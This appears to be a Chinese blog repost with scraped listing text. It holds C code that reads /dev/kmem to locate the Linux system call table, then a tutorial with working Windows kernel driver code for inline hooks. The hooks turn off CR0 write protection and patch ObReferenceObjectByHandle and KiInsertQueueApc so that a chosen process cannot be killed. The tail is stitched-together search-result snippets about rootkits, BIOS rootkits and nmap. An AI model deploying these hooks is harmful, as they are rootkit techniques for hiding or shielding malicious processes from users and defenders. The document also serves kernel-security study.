    unsigned int old_readkmem (int fd, void * buf,size_t off,unsigned int size) //用read方式读取kmem中一定长度内容
    {
      if (lseek64(fd, (unsigned long long)off,SEEK_SET)!=off)
      {
        //perror(\"fd lseek\");
        return 0;
      }
     
      if (read(fd, buf,size)!=size)
      {
        //perror(\"fd read\");
        return 0;
      }
     
    }
     
    unsigned long readkmem (int fd, void * buf, size_t off, unsigned int size)//用mmap方式从kmem中读取一定长度内容
    {
      size_t  moff, roff;
      size_t   sz = getpagesize();
     
      char * kmap;
     
      unsigned long ret_old = old_readkmem(fd, buf, off, size); //先用老方法读取,不行再用mmap
      if (ret_old != 0)
        return ret_old;
     
      moff = ((size_t)(off/sz)) * sz;    
      roff = off - moff;  
     
      kmap = mmap(0, size+sz, PROT_READ, MAP_PRIVATE, fd, moff);
     
      if (kmap == MAP_FAILED)
      {
          perror("readkmem: mmap");
          return 0;
     }
     
     memcpy (buf, &kmap[roff], size);
     
     if (munmap(kmap, size) != 0)
     {
       perror("readkmem: munmap");
       return 0;
     }
     
     return size;
    }
     
    int main (int argc, char **argv)
    {
     unsigned sys_call_off;
     int kmem_fd;  // /dev/kmem文件描述符
     unsigned sct;
     char sc_asm[CALLOFF],*p;
    
     /* 获得IDTR寄存器的值 */
     asm ("sidt %0" : "=m" (idtr));
     printf("idtr base at 0x%X\n",(int)idtr.base);
     
     /* 打开kmem */
     kmem_fd = open ("/dev/kmem",O_RDONLY);
     if (kmem_fd<0)
     {
         perror("open");
         return 1;
     }
     
     /* 从IDT读出0x80向量 (syscall) */
     readkmem (kmem_fd, &idt,idtr.base+8*0x80,sizeof(idt)); //idtr.base+8*0x80 表示80中断描述符的偏移
     sys_call_off = (idt.off2 << 16) | idt.off1;    //idt.off2 表示地址的前16位,得到syscall地址
     printf("idt80: flags=%X sel=%X off=%X\n", (unsigned)idt.flags,(unsigned)idt.sel,sys_call_off);
     
     /* 寻找sys_call_table的地址 */
     readkmem (kmem_fd, sc_asm,sys_call_off,CALLOFF);  
     
     p = (char*)memmem (sc_asm,CALLOFF,"\xff\x14\x85",3); //只要找到邻近int $0x80入口点system_call的call sys_call_table(,eax,4)指令的机器指令就可以了,call something(,eax,4)指令的机器码是0xff 0x14 0x85,因此搜索这个字符串。
     sct = *(unsigned*)(p+3); //sys_call_table地址就在0xff 0x14 0x85之后
     
     if (p)
     {
       printf ("sys_call_table at 0x%x, call dispatch at 0x%x\n", sct, p);
     }
     
     close(kmem_fd);
     return 0;
    }
    
    
    
    本文以发表在黑防09期
    
    详谈内核三步走Inline Hook实现
    
    (一)Inline hook原理
    Inline hook通俗的说就是对函数执行流程进行修改,达到控制函数过滤操作的目的。理论上我们可以在函数任何地方把原来指令替换成我们的跳转指令,也确实有些人在inline
    的时候做的很深,来躲避inline 的检测,前提是必须对函数的流程和指令非常熟悉,且这种深层次的inlline 不具有通用性,稳定性也是问题。本文讨论的是具有通用性的两类inline的实现。
    Inline hook原理:解析函数开头的几条指令,把他们Copy到数组保存起来,然后用一个调用我们的函数的几条指令来替换,如果要执行原函数,则在我们函数处理完毕,再执行我们保存起来的开头几条指令,然后调回我们取指令之后的地址执行。
    整个Inline hook的过程就大体这样,中间牵扯到对函数的检查,地址的获取就直接调用函数即可。
    本文所要讨论的两类Inline hook都是基于上面原理。 
    
    说明三点:
    1、堆栈平衡是重中之重,参数压栈也需要格外注意
    2、CR0寄存器中的WP位控制处理器是否允许往只读内存页写入,为0禁用保护机制。
    3、提高中断级别到DISPATCH_LEVEL,禁止线程切换产生的中断
                         
    (二)inline hook应用
    Inline hook可分为两类:
    (1)inline 导出函数,选择ObReferenceObjectByHandle做例子。
    (2)inline 未导出函数,选择KiInsertQueueApc做例子。
    导出函数前几个字节可以利用windbg自己查看是什么内容,而未导出函数就需要自己解析指令确定需要hook几个字节,其间还有很多问题需要注意。当大家真正的弄懂了我这篇文章,回头再看inline hook就会觉得inline也不过如此。
    下面通过2个例子来讲inline hook的使用(这部分知识网上也有很多,但都很零散不系统,本文部分思路及代码的确参考了网上资源,有抄袭之嫌,希望读者谅解。我一直强调“授人以鱼不如授人以渔”,代码并不重要,关键是思想。)
    1、inline hook ObReferenceObjectByHandle保护进程
    ObReferenceObjectByHandle属于ntoskrnl.exe导出函数,在内核中调用频繁。
    NtCreateProcess创建进程需要调用ObReferenceObjectByHandle,NtTerminateProcess需要调用ObReferenceObjectByHandle,基于这我们就可以利用Hook来保护进程同时屏蔽进程的创建。
    效果:已经运行的记事本任务管理器无法结束
    流程:
    HookObReferenceObjectByHandle------DetourMyObReferenceObjectByHa ndle----------UnHookObReferenceObjectByHandle
    核心代码分析如下:
    //=======================================inline HOOK ObReferenceObjectByHandle===========================
    
    //ObReferenceObjectByHandle是ntoskrnl.exe导出函数,采用HOOK前五个字节的方式
    
    //字节型数据  unsigned char
    ULONG  CR0VALUE;
    BYTE  OriginalBytes[5]={0};             //保存原始函数前五个字节           
    BYTE JmpAddress[5]={0xE9,0,0,0,0};       //跳转到HOOK函数的地址
    
    extern POBJECT_TYPE *PsProcessType;
    
    NTKERNELAPI NTSTATUS ObReferenceObjectByHandle(
                             
                             IN HANDLE  Handle,
                             IN ACCESS_MASK  DesiredAccess,
                             IN POBJECT_TYPE  ObjectType  OPTIONAL,
                             IN KPROCESSOR_MODE  AccessMode,
                             OUT PVOID  *Object,
                             OUT POBJECT_HANDLE_INFORMATION  HandleInformation  OPTIONAL
                             
                             );
    
    //HOOK函数
    
    NTSTATUS DetourMyObReferenceObjectByHandle(
                           
                           IN HANDLE  Handle,           
                           IN ACCESS_MASK  DesiredAccess
                           IN POBJECT_TYPE  ObjectType  OPTIONAL, 
                           IN KPROCESSOR_MODE  AccessMode,
                           OUT PVOID  *Object,
                           OUT POBJECT_HANDLE_INFORMATION  HandleInformation  OPTIONAL);
    
    //
    
    //hook流程 HookObReferenceObjectByHandle---DetourMyObReferenceObjectByHandle---UnHookObReferenceObjectByHandle
    
    void  HookObReferenceObjectByHandle()
    
    {
      
      //赋值前面定义的数组
      KIRQL Irql;
      KdPrint(("[ObReferenceObjectByHandle] :0x%x",ObReferenceObjectByHandle));  //地址验证
      //保存函数前五个字节内容
      RtlCopyMemory(OriginalBytes,(BYTE *)ObReferenceObjectByHandle,5);
      //保存新函数五个字节之后偏移
      *(ULONG *)(JmpAddress+1)=(ULONG)DetourMyObReferenceObjectByHandle-((ULONG)ObReferenceObjectByHandle+5);
      //开始inline hook
      //关闭内存写保护
      _asm
        
      {
        push eax
          
          mov eax, cr0 
          mov CR0VALUE, eax 
          and eax, 0fffeffffh  
          mov cr0, eax
          pop eax
      }
      
      //提升IRQL中断级
      Irql=KeRaiseIrqlToDpcLevel();
      //函数开头五个字节写JMP 
      RtlCopyMemory((BYTE *)ObReferenceObjectByHandle,JmpAddress,5);
      //恢复Irql
      KeLowerIrql(Irql);
      //开启内存写保护
      
      __asm
        
      {       
        
        push eax
          
          mov eax, CR0VALUE 
          
          mov cr0, eax
          
          pop eax
          
      }
      
    }
    
    
    
    _declspec (naked) NTSTATUS OriginalObReferenceObjectByHandle(IN HANDLE  Handle,
                                   
                                   IN ACCESS_MASK  DesiredAccess,
                                   
                                   IN POBJECT_TYPE  ObjectType  OPTIONAL,
                                   
                                   IN KPROCESSOR_MODE  AccessMode,
                                   
                                   OUT PVOID  *Object,
                                   
                                   OUT POBJECT_HANDLE_INFORMATION  HandleInformation  OPTIONAL)
                                   
    {
      
      _asm
        
      {   
        
        mov edi,edi
          push ebp
          mov ebp,esp
          mov eax,ObReferenceObjectByHandle
          add eax,5
          jmp eax                
          
      }
      
    }
    
    
    NTSTATUS DetourMyObReferenceObjectByHandle(
                           
                           IN HANDLE  Handle,
                           
                           IN ACCESS_MASK  DesiredAccess,
                           
                           IN POBJECT_TYPE  ObjectType  OPTIONAL,
                      
                           IN KPROCESSOR_MODE  AccessMode,
                           
                           OUT PVOID  *Object,
                           
                           OUT POBJECT_HANDLE_INFORMATION  HandleInformation  OPTIONAL)
                           
    {
      
      NTSTATUS status;
      
      //调用原函数
      
      status=OriginalObReferenceObjectByHandle(Handle,DesiredAccess,ObjectType,AccessMode,Object,HandleInformation);
      
      if((status==STATUS_SUCCESS)&&(DesiredAccess==1))
        
      {   
        
        if(ObjectType== *PsProcessType)
          
        {
          
          if( _stricmp((char *)((ULONG)(*Object)+0x174),"notepad.exe")==0)
            
          {   
            
            ObDereferenceObject(*Object);
            
            return STATUS_INVALID_HANDLE;
            
          }
          
        }
        
      }
      
      return status;
      
    }
    
    
    
    void UnHookObReferenceObjectByHandle()
    
    {
      
      //把五个字节再写回到原函数
      
      KIRQL Irql;
      
        //关闭写保护
      
      _asm
        
      {
        
        push eax
          
          mov eax, cr0 
          
          mov CR0VALUE, eax 
          
          and eax, 0fffeffffh  
          
          mov cr0, eax
          
          pop eax
          
      }
      
        //提升IRQL到Dpc
      
        Irql=KeRaiseIrqlToDpcLevel();
      
      RtlCopyMemory((BYTE *)ObReferenceObjectByHandle,OriginalBytes,5);
      
      KeLowerIrql(Irql);
      
        //开启写保护
      
      __asm
        
      {       
        
            push eax
          mov eax, CR0VALUE 
          mov cr0, eax
          
          pop eax
          
      }
    }
    
    驱动加载后,结束记事本程序如下:
     
        (图 一)
    
    详细分析:
    1、ObReferenceObjectByHandle分析
    NTSTATUS 
      ObReferenceObjectByHandle(
        IN HANDLE  Handle,
        IN ACCESS_MASK  DesiredAccess,
        IN POBJECT_TYPE  ObjectType  OPTIONAL,
        IN KPROCESSOR_MODE  AccessMode,
        OUT PVOID  *Object,
        OUT POBJECT_HANDLE_INFORMATION  HandleInformation  OPTIONAL
        );
    函数原型如上,由句柄获取对象指针,函数返回值:
    STATUS_SUCCESS                        调用成功
    STATUS_OBJECT_TYPE_MISMATCH        
    STATUS_ACCESS_DENIED                 权限不够
    STATUS_INVALID_HANDLE                无效句柄         
    
    调用NtTerminateProcess需要调用ObReferenceObjectByHandle,因此我们通过对函数返回值进程修改来达到保护进程。但是NtCreateProcess(最终调用的PspCreateProcess)同样调用这个函数,如果不加区分的话,创建进程同样被禁止了,那么如何区分到底是谁在调用呢。参考WRK,我发现可以通过第二个参数DesiredAccess来判别,创建进程和结束进程第二个参数明显不同,PROCESS_CREATE_PROCESS和PROCESS_TERMINATE,问题就解决了。
    PspCreateProcess位于 WRK-v1.2\base\ntos\ps\create.c
    调用ObReferenceObjectByHandle代码:
    Status = ObReferenceObjectByHandle (ParentProcess,
                                                PROCESS_CREATE_PROCESS,
                                                PsProcessType,
                                                PreviousMode,
                                                &Parent,
                                                NULL);
    NtTerminateProcess位于 WRK-v1.2\base\ntos\ps\psdelete.c
    调用ObReferenceObjectByHandle代码:
    st = ObReferenceObjectByHandle (ProcessHandle,
                                        PROCESS_TERMINATE,
                                        PsProcessType,
                                        KeGetPreviousModeByThread(&Self->Tcb),
                                        &Process,
                                        NULL);
    DesiredAccess参数说明:
    #define PROCESS_TERMINATE         (0x0001) // winnt
    #define PROCESS_CREATE_THREAD     (0x0002) // winnt
    #define PROCESS_SET_SESSIONID     (0x0004) // winnt
    #define PROCESS_VM_OPERATION      (0x0008) // winnt
    #define PROCESS_VM_READ           (0x0010) // winnt
    #define PROCESS_VM_WRITE          (0x0020) // winnt
    // begin_ntddk begin_wdm begin_ntifs
    #define PROCESS_DUP_HANDLE        (0x0040) // winnt
    // end_ntddk end_wdm end_ntifs
    #define PROCESS_CREATE_PROCESS    (0x0080) // winnt
    #define PROCESS_SET_QUOTA         (0x0100) // winnt
    #define PROCESS_SET_INFORMATION   (0x0200) // winnt
    #define PROCESS_QUERY_INFORMATION (0x0400) // winnt
    #define PROCESS_SET_PORT          (0x0800)
    #define PROCESS_SUSPEND_RESUME    (0x0800) // winnt
    
    2、函数调用说明
    C语言中我们调用一个函数就直接写函数名就可以,但是实际是进行了下面的操作:
    把函数参数压入堆栈,压入函数返回地址,调用函数,为新函数开辟堆栈空间申请局部变量,
    恢复堆栈保持堆栈平衡
    (_stdcall调用方式)汇编代码就是:
    Push 参数4
    Push 参数3
    Push 参数2
    Push 参数1
    Call  函数  ;call指令同时完成2个操作,一是把返回地址压入堆栈,二跳转到调用函数入口地址
    
    Push  ebp
    Mov ebp,esp
    Sub  esp, XX  ;开辟栈帧空间
    ……
    Add  esp ,XX
    Pop ebp
    Retn          ;恢复堆栈平衡
    堆栈详细情况:
    ESP
    局部变量
    
    
    
    
    
    EBP
    返回地址
    参数1
    参数2
    参数3
    参数4
    堆栈是由高地址到低地址。
    参数就通过EBP来去,四字节对齐的
    
    参数4----------------------EBP+0x14
    参数3----------------------EBP+0x10
    参数2----------------------EBP+0xc
    参数1--------------------- EBP+0x8
    局部变量则通过Ebp-XX来获取
    
    因此inline的时候要时刻考虑堆栈平衡,破坏了堆栈平衡就会导致函数崩溃。
    我通常inline hook的思路就是三步走:
    HOOK函数-----DetourMy处理函数----------UnHook函数
    处理函数中对返回结果或者中间数据进行修改处理,然后调用原始函数。由于在我们处理的时候原始函数已经被hook了,所以我自己构造了一个原始函数,但是由于参数在我们hook前已经压人堆栈了,所以这里我们不用重新开辟栈帧,因此声名函数类型为_declspec (naked)
    。有人就会问那么你调用处理函数的时候,参数不是重复压栈了,这里请注意,我们是通过JMP方式跳转到我们处理函数入口地址的,而不是Call的形式,所以并没有执行上面所说的函数调用过程,参数仍然是原始函数的。也就是说在真个inline hook过程中我们不能破坏原始栈帧的EBP。
    
    关于函数调用很栈帧的相关联系可能比较难理解,我也在尽肯能的用通俗的话来解释清楚,有什么不理解的地方或者个人见解欢迎大家跟我交流。
    
    2、inline hook KiInsertQueueApc对抗插APC杀进程
    KiInsertQueueAPc为内核未导出函数,我下面提供的代码可以作为未导出函数inline的通用模板来使用,大家根据自己需要进行修改,基于inline ObReferenceObjectByHandle已经把原理分析了,这部分我就不详加分析,仍然采用的但不走,Hook函数---DetourMy函数---UnHook函数
    直接看核心代码:
    //===================inline hook KiInsertQueueApc====================
    //KiInsertQueueApc为内核未导出函数,可以从导出函数KeInsertQueueApc定位
    //修改KiInsertQueueApc开头5字节
    //处理函数思路:apc-->kthread---apc_state--eprocess--进程名字
    //HookKiInsertQueueApc---DetourMyKiInsertQueueApc---UnHookKiInsertQueueApc
    ULONG CR0VALUE;
    ULONG g_KiInsertQueueApc;
               
    BYTE JmpAddress[5]={0xE9,0,0,0,0};       //跳转到HOOK函数的地址
    BYTE  OriginalBytes[5]={0};             //保存原始函数前五个字
    
    VOID FASTCALL DetourMyKiInsertQueueApc(IN PKAPC Apc,IN KPRIORITY Increment);
    
    VOID WPOFF()
    {
      _asm
        
      {
        
        push eax
          
          mov eax, cr0 
          
          mov CR0VALUE, eax 
          
          and eax, 0fffeffffh  
          
          mov cr0, eax
          
          pop eax
          cli
          
      };
      
    }
    
    VOID WPON()
    {
        __asm
        
      {       
        sti
        push eax
          
          mov eax, CR0VALUE 
          
          mov cr0, eax
          
          pop eax
          
      };
    }
    //1、获取KiInsertQueueApc地址
    ULONG GetFunctionAddr( IN PCWSTR FunctionName)     //PCWSTR常量指针,指向16位UNICODE
    {
      UNICODE_STRING UniCodeFunctionName;
      RtlInitUnicodeString( &UniCodeFunctionName, FunctionName );
      return (ULONG)MmGetSystemRoutineAddress( &UniCodeFunctionName );   
    }
    
    ULONG GetKiInsertQueueApcAddr()
    {
      ULONG sp_code1=0x28,sp_code2=0xe8,sp_code3=0xd88a;  //特征码,sp_code3 windbg显示错误,应该为d88a
      ULONG address=0;
      PUCHAR addr;
      PUCHAR p;
      addr=(PUCHAR)GetFunctionAddr(L"KeInsertQueueApc");
      for(p=addr;p<p+PAGE_SIZE;p++)
      {
        if((*(p-1)==sp_code1)&&(*p==sp_code2)&&(*(PUSHORT)(p+5)==sp_code3))
        {
          address=*(PULONG)(p+1)+(ULONG)(p+5);
          break;
        }
      }
      KdPrint(("[KeInsertQueueApc] addr %x\n",(ULONG)addr));
        KdPrint(("[KiInsertQueueApc] address %x\n",address));
        return address;
    }
    
    VOID HookKiInsertQueueApc()
    {   
      KIRQL Irql;
      g_KiInsertQueueApc=GetKiInsertQueueApcAddr();
      KdPrint(("[KiInsertQueueApc] KiInsertQueueApc %x\n",g_KiInsertQueueApc));
        // 保存原函数的前字节内容
        RtlCopyMemory (OriginalBytes, (BYTE*)g_KiInsertQueueApc, 5);
      //新函数对原函数的偏移地址
        *( (ULONG*)(JmpAddress + 1) ) = (ULONG)DetourMyKiInsertQueueApc - (ULONG)g_KiInsertQueueApc - 5;
        // 禁止系统写保护,提升IRQL到DPC
        WPOFF();
        Irql = KeRaiseIrqlToDpcLevel();
        //inline hook函数
      RtlCopyMemory ( (BYTE*)g_KiInsertQueueApc, JmpAddress, 5 );
        // 恢复写保护,降低IRQL
        KeLowerIrql(Irql);
        WPON();  
    }
    //原函数
    _declspec (naked) VOID FASTCALL OriginalKiInsertQueueApc(IN PKAPC Apc,IN KPRIORITY Increment)
    {
      _asm
      {
        //前五个字节
        mov edi,edi
          push ebp
          mov ebp,esp
          
          mov eax,g_KiInsertQueueApc
          add eax,5
          jmp eax
      }
    }
    //处理函数
    //apc--kthread--apc_state--eprocess
    VOID FASTCALL DetourMyKiInsertQueueApc(IN PKAPC Apc,IN KPRIORITY Increment)
    {
      ULONG thread;
      ULONG process;
      if(MmIsAddressValid((PULONG)((ULONG)Apc+0x008)))    //地址验证 KAPC结构+008--->kthread
        thread=*((PULONG)((ULONG)Apc+0x008));
      else
        return ;
      if(MmIsAddressValid((PULONG)((ULONG)thread+0x044))) //kthread+30-->KAPC_STATE+10-->eprocess
        process=*((PULONG)((ULONG)thread+0x044));
      else
        return ;
        if(MmIsAddressValid((PULONG)((ULONG)process+0x174)))  //eprocess+174---->进程名字
      {
        if((_stricmp((char *)((ULONG)process+0x174),"notepad.exe")==0)&&(Increment==2))
        {
          return ;
    
        }
        else
          OriginalKiInsertQueueApc(Apc,Increment);
    
      }
      else
        return;
    }
    
    //卸载函数
    VOID UnHookKiInsertQueueApc()
    {
      KIRQL Irql;
        WPOFF();
        Irql = KeRaiseIrqlToDpcLevel();
        //inline hook函数
        RtlCopyMemory ( (BYTE*)g_KiInsertQueueApc, OriginalBytes, 5);
        // 恢复写保护,降低IRQL
        KeLowerIrql(Irql);
        WPON();  
    }
     考虑到大家水平不一,对一些问题我详细如下:
    1、特征码的寻找
    利用windbg的kernel debug来查找:
    uf  KeInsertQueueApc
    nt!KeInsertQueueApc+0x3b:
    804e6d0a 8b450c          mov     eax,dword ptr [ebp+0Ch]
    804e6d0d 8b5514          mov     edx,dword ptr [ebp+14h]
    804e6d10 894724          mov     dword ptr [edi+24h],eax
    804e6d13 8b4510          mov     eax,dword ptr [ebp+10h]
    804e6d16 8bcf            mov     ecx,edi
    804e6d18 894728          mov     dword ptr [edi+28h],eax
    804e6d1b e8523fffff        call    nt!KiInsertQueueApc (804dac72)
    804e6d20 8ad8 (错误)  mov     bl,al
    特征码就是sp_code1=0x28 sp_code2=0xe8 sp_code3=0xd88a(windbg显示有误,应该是d88a
    )
    这种方法就是通过已导出函数定位未导出函数通常使用的方法,具有通用性。详细见代码。
    
    2、取EPRocess的过程
    Apc-----kthread-----apc_state—eprocess
    dt  _KAPC             偏移0x008指向KTHREAD
    dt  _KTHREAD         偏移0x034指向KAPC_STATE
    dt  _KAPC_STATE      偏移0x10指向EPROCESS
    dt  _EPROCESS         偏移0x174指向进程名
    
    
    ()总结
     很多人觉得inline hook比较难,处理起来很麻烦。但是我相信看完我这篇文章,你一定不会这么认为了,inline hook其实只要细心,注意细节跟别的hook没什么两样。本人采用的三步走inline hook做到了把inline简单化,同时有保证了堆栈的平衡。
     由于代码采用的硬编码,编译环境是sp3+VMware,请根据自己操作系统自行修改。欢迎读者跟我交流。*转载请注明来自看雪论坛@PEdiy.com
    
    

    注意:
    ubuntu等发行版已经禁用了/dev/kmem,可以查看/boot/config-2.6.xx,grep一下DEV_KMEM,可以发现是no set。

    展开全文
  • rootkit

    2007-10-25 22:30:39
    rootkit主动防御设计构想
  • RootKit

    2017-03-26 22:41:00
    类型0:藏在人群中,...类型3:跳出束缚,由rootkit实现本该宿主系统实现的功能,独立自主 UPX ultimate Packing executable Zeus 宙斯 等恶意软件套装都有显著的特征可以被白帽识别 nmap是一个网络连接端...

    类型0:藏在人群中,干扰人工肉眼检查

    类型1 2:篡改系统内部的数据结构和调用表,破坏自动化检测工具,这项数据结构和调用表是检测工具和KootKit共用的

    类型3:跳出束缚,由rootkit实现本该宿主系统实现的功能,独立自主

     

    UPX ultimate Packing executable 

    Zeus 宙斯  

    等恶意软件套装都有显著的特征可以被白帽识别

    nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统(这是亦称 fingerprinting)。它是网络管理员必用的软件之一,以及用以评估网络系统安全。
    正如大多数被用于网络安全的工具,nmap 也是不少黑客及骇客(又称脚本小子)爱用的工具 。系统管理员可以利用nmap来探测工作环境中未经批准使用的服务器,但是黑客会利用nmap来搜集目标电脑的网络设定,从而计划攻击的方法。
    Nmap 常被跟评估系统漏洞软件 Nessus 混为一谈。Nmap 以隐秘的手法,避开闯入检测系统的监视,并尽可能不影响目标系统的日常操作。
    Nmap 在 黑客帝国(The Matrix)中,连同 SSH1的32位元循环冗余校验漏洞,被崔妮蒂用以入侵发电站的能源管理系统。
     
     

     

    转载于:https://www.cnblogs.com/qiaoyanlin/p/6624490.html

    展开全文
  • Rootkit

    2009-09-26 23:14:00
    现今比较流行的Rootkit有Hxdef,NtRootkit和AFX Rootkit,而且Hxdef和AFX Rootkit还提供了源代码,对我们的学习提供了很大的方便。这些Rootkit都是使用HOOK技术实现的,欺骗的是用户,而不是操作系统。使用HOOK开发...
    展开全文
  • Rootkit-Ring3_rootkit_源码

    2021-09-29 09:19:59
    Repo for Rootkit Ring 3 and Ring 0 test in Python and C++
  • A simple Linux kernel rootkit written for fun
  • Rootkit研究综述

    2021-04-26 03:29:42
    Rootkit研究综述
  • Reveal Rootkit 检测被 Rootkit 隐藏的进程。 它旨在定期用完 cron 或类似的服务,并避免冗长的输出,只要什么也没找到。 它很快,不应该产生误报。 Reveal RootKit 主要在 Linux 上进行测试,但也应该在其他带有 /...
  • Fu_RootKit Fu_RootKit

    2011-08-17 13:53:19
    Fu_RootKit Fu_RootKit Fu_RootKit Fu_RootKit Fu_RootKit Fu_RootKit Fu_RootKit Fu_RootKit Fu_RootKit Fu_RootKit Fu_RootKit Fu_RootKit Fu_RootKit Fu_RootKit Fu_RootKit Fu_RootKit
  • rootkit_detect
  • rootkit-源码

    2021-03-20 06:12:49
    rootkit 6841-很棒的东西
  • rootkit扫描

    2013-12-10 16:52:22
    扫描rootkit用.运行在linux环境下。 可以下来试试
  • rootkit详解

    2013-03-01 17:43:21
    rootkit详解技术 需要的可以下载 !
  • without surprise another rootkit
  • Android-Rootkit 适用于 Android 的 rootkit。 基于来自Phrack Issue 68 类项目的一部分。 在这里添加它只是因为没有足够的文档来为 Android 执行此操作 我感谢任何拉取请求,只要它们扩展功能并且不造成伤害 内核...
  • lkm-rootkit 作为 linux 内核模块实现的 rootkit ##Syscall 表:###NOTICE:此内核模块仅与 64 位 PC 兼容。 如果您的 PC 是 32 位,请不要运行。 加载“rootkit”模块: make -f Makefile sudo insmod rootkit....
  • BIOS Rootkit

    2020-03-26 19:03:29
    Rootkit可分为应用程序级Rootkit、系统工具级Rootkit和内核级Rootkit三个类型,我们今天讨论的就是内核级BIOS Rootkit。 自BIOS芯片改用为可擦写芯片(如FlashROM、EPROM)以来,在BIOS芯片里植入程序就变 得可能。...

    国内外对于BIOS Rootkit的检测研究目前尚处于起步阶段。

    Rootkit可分为应用程序级Rootkit、系统工具级Rootkit和内核级Rootkit三个类型,我们今天讨论的就是内核级BIOS Rootkit。

    自BIOS芯片改用为可擦写芯片(如FlashROM、EPROM)以来,在BIOS芯片里植入程序就变
    得可能。最早,BIOS厂商选用这类芯片是为了方便BIOS日后的程序升级工作。然而,这也为BIOS
    带来了新的安全隐患。
    实模式提供了一种简单的单任务环境,可以直接访问无力内存和I/O空间,操作系统和应用软件运行在同
    一个内存空间中和同一个优先级上,因此操作系统的数据很容易被应用软件所破坏。

    BIOS Rootkit一般作为BIOS设计规范中的标准ISA或PCI模块存在,因此难于判断相应模块是否为BIOS Rootkit。整个ISA模块大小必须为512字节的倍数。

    即使发现并判断出某个ISA/PCI模块为BIOS Rootkit,也只有通过硬件编程写入的方式才能清除。而硬件编程器并不是每个人都有并能熟练掌握的。

    BIOS Rootkit主要依靠汇编程序来进行编写,并且汇编只能调用特定的BIOS中断调用。比如int 19h系统引导中断可以正常调用,而int 13h磁盘中断就无法正常使用,原因是BIOS引导计算机时,磁盘设备还没有准备好。INT 19的作用是系统自举,也就是引导加载程序进行冷起动。MBR被加载起来之后才会去HOOK INT13。

    编写BIOS Rootkit的困难
    通用性较好的BIOS Rootkit难于实现。
    BIOS相关资料一直是各大BIOS厂商严格保守的机密,因此BIOS Rootkit编写需要的许多相关电器特性、调用参数等资料都无法找到。
    BIOS芯片空间较为宝贵,一般为512K大小。除了厂家初始加入的固定程序外,可用的剩余空间往往不够放下BIOS Rootkit。

    BIOS就芯片类型来说,主要分为以下几种:
    一、 PROM(Programmable ROM)可编程存储器
    PROM出厂时内部每一个字节数据都是$FF(也就是每个位都为1),且从未烧写过
    二、.Mask ROM
    三、 EPROM
    它是由客户指定的数量较大的,由内存生产厂家依客户的指定内容,在大量生产的过程中直接
    将数据写入,出厂之后就已经有特定的程序/数据码,内容也无法自行修改或烧写。

    BIOS文件一般结构分析
    BIOS文件保存着计算机最重要的基本输入输出的程序、系统设置信息、开机上电自检程序和系统启动自举程序。
    通常来说BIOS文件一般都包含着BOOTBLOCK和各种初始化微程序,自动检测硬盘和CD驱动
    器、输出PnP/PCI设备表等硬件设备程序,支持ACPI高级电源管理的启动程序。另外还有各个主板
    厂家自己开发的功能扩展程序模块,以及各个主板厂家的BIOS启动logo等。
    BIOS通常以压缩的形式保存微程序(一般使用LHA压缩算法)

    多数BIOS病毒是以ISA模块存在的,ISA模块格式:在这里插入图片描述
    BIOS内存布局
    在这里插入图片描述
    BOOTBLOCK位于000FE000h~000FFFFFh这个区段,而BIOS的入口点却在000FFFF0h。确切的说,在000FFFF0h~000FFFFF这16个字节中存放着一个跳转指令,用于调转到BIOS的执行入口。这句跳转指令可以在BIOS文件的最尾部的16个字节看到。

    就主板BIOS而言,其最重要的工作集中在以下几个方面:
    1). POST(Power On Self Test开机自检测)。
    开机系统将控制权交给BIOS时,它会针对CPU各项寄存器,先检查其是否运行正常,接下来
    会 检 查 8254 timer ( 可 编 程 外 围 计 时 芯 片 ) 、 9259A ( 可 编 程 中 断 器 ) 、 8237 DMA
    Controller(DMA控制器)的状态。
    2). Initial。
    BIOS会针对动态内存(DRAM)、主板芯片组、显卡以及相关外围的寄存器(register)做初
    始化(initialize)设置,并检测是否能够正常工作。
    3). 记录系统的设置值。
    BIOS会记录系统的设置值,并且会存贮在非挥发性内存(Non-Volatile RAM),如CMOS或
    Flash Memory(ESCD区域)等。
    4). 初始化常驻程序库。
    BIOS会将常驻程序库(Runtime Program)常驻于某一段内存中。并将其提供给操作系统或应
    用程序进行调用,如int 10h、int 13h、int 16h等中断调用函数。
    这些工作完成以后,BIOS会检查是否存在ISA/PCI附加模块,如果有则加载运行(如以
    ISA/PCI模块形式存在的BIOS Rootkit)。完成模块加载并成功运行后,BIOS将调用int 19h中断,
    把磁盘第0柱头0磁道1扇区的系统启动数据,即MBR(Master Boot Record)提取到内存
    0000:7c00处运行,从此完成BIOS向操作系统的CPU控制权移交工作。

    读重庆大学硕士彭毅的学位论文《BIOS Rootkit及其检测技术的研究》后感。

    展开全文
  • kprobe_rootkit
  • The Rootkit Arsenal

    2015-08-19 22:00:40
    The Rootkit Arsenal
  • SMM rootkit

    2012-07-27 21:47:09
    SMM rootkit BIOS_SMI句柄的逆向与钩子
  • rootkit-module-2.6.30 内核 2.6.30 的 Rootkit 和实用程序
  • 基于rootkitRootkit系统的基本合同和将来的分叉

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 8,922
精华内容 3,568
关键字:

RootKit